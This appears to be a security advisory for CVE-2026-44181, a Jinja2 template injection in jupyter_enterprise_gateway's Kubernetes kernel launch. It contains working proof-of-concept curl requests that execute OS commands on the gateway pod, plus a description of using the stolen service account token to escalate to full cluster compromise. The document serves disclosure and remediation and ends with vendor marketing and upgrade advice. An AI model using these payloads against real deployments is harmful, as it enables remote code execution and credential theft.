Summary
The environment variables (KERNEL_XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI).
By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service.
The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.
Details
The KERNEL_POD_NAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code:
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247
The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, in addition to kernel_pod_name discussed above, such as kernel_working_dir that are used when rendering the manifest and are all vectors for SSTI.
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77
These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.
PoC
Simple demonstration of SSTI using {{7 * 7}}
curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}'
{"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0}
Running kubectl get pods
NAME READY STATUS RESTARTS AGE
bdawg-49 1/1 Running 0 3m54s
Remote code execution - OS Commands via SSTI
curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}'
{"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07
NAME READY STATUS RESTARTS AGE
bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s
enterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.
Enterprise Gateway RBAC
The Enterprise Gateway service account has R/W access to several resource kinds.
Stolen Enterprise Gateway service account kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
rolebindings.rbac.authorization.k8s.io [] [] [get list create delete]
configmaps [] [] [get watch list create delete]
namespaces [] [] [get watch list create delete]
persistentvolumeclaims [] [] [get watch list create delete]
persistentvolumes [] [] [get watch list create delete]
pods [] [] [get watch list create delete]
secrets [] [] [get watch list create delete]
services [] [] [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]
sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]
sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
Impact
This is a server side template injection that leads to remote code execution (python and OS commands).
An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token.
It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-44181? CVE-2026-44181 is a critical-severity security vulnerability in jupyter_enterprise_gateway (pip), affecting versions >= 2.0.0rc2, < 3.3.0. It is fixed in 3.3.0.
- Which versions of jupyter_enterprise_gateway are affected by CVE-2026-44181? jupyter_enterprise_gateway (pip) versions >= 2.0.0rc2, < 3.3.0 is affected.
- Is there a fix for CVE-2026-44181? Yes. CVE-2026-44181 is fixed in 3.3.0. Upgrade to this version or later.
- Is CVE-2026-44181 exploitable, and should I be worried? Whether CVE-2026-44181 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-44181 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-44181? Upgrade
jupyter_enterprise_gatewayto 3.3.0 or later.